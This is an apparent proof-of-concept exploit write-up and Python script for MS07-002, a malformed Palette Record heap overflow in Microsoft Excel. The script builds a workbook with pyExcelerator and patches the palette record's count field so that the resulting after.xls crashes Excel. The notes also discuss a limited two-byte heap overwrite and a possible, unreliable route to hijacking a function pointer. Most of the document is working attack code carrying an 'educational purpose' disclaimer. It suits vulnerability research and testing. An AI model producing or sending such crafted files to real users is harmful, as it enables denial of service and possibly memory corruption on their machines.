"""
MS07-002 EXCEL Malformed Palette Record Vulnerability DOS POC
Author
LifeAsaGeek at gmail.com
… and Microsoft said that vuln credit is for Greg MacManus of iDefense Labs
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Vulnerablity Description
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Bound error occurs when parsing Palette Record and it causes Heap Overflow
check out here - http://picasaweb.google.com/lifeasageek/MS07002/photo?pli=1#5022146178204021506
which is generated by DarunGrim
( and I want to say I'm not a person who made this analyzer ==; )
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Attack Vector
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Arbitary Data will be overwritten to the heap, but arbitary data is highly depends on the stack status !
Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere )
In CERTAIN environment( such as open excel file which is already opened)
you can catch the flow by modify function pointer, but it doesn't have a reliablity at all
Let me know if you have a good method to break down
Result
DOS
Notes
You should modify pyExcelerator module because it doesn't generate Palette Record
pyExcelerator diff results would be like below
> return BIFFRecords.PaletteRecord().get()
!! THIS IS ONLY FOR EDUCATIONAL PURPOSE !!
import sys, os
from struct import *
from pyExcelerator import *
def CreateXLS():
w = Workbook()
ws = w.add_sheet('MS07-002 POC')
w.save( "before.xls")
def ModifyXLS():
try:
f = open( "before.xls", "rb")
except:
print "File Open Error ! "
sys.exit(0)
str = f.read()
f.close()
#write to malformed xls file
f = open( "after.xls", "wb")
PaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x0038)
NewPaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x01FF)
palette_idx = str.find( PaletteRecord)
if palette_idx == -1:
print "Cannot find Palette Record"
sys.exit(0)
str = str.replace( PaletteRecord, NewPaletteRecord)
f.write( str)
f.close()
if name == "main":
print "==========================================================="
print "MS07-002 Malformed Palette Record vulnerability DOS POC "
print "Create POC Excel File after.xls"
print "by LifeAsaGeek at gmail.com"
print "==========================================================="
CreateXLS()
ModifyXLS()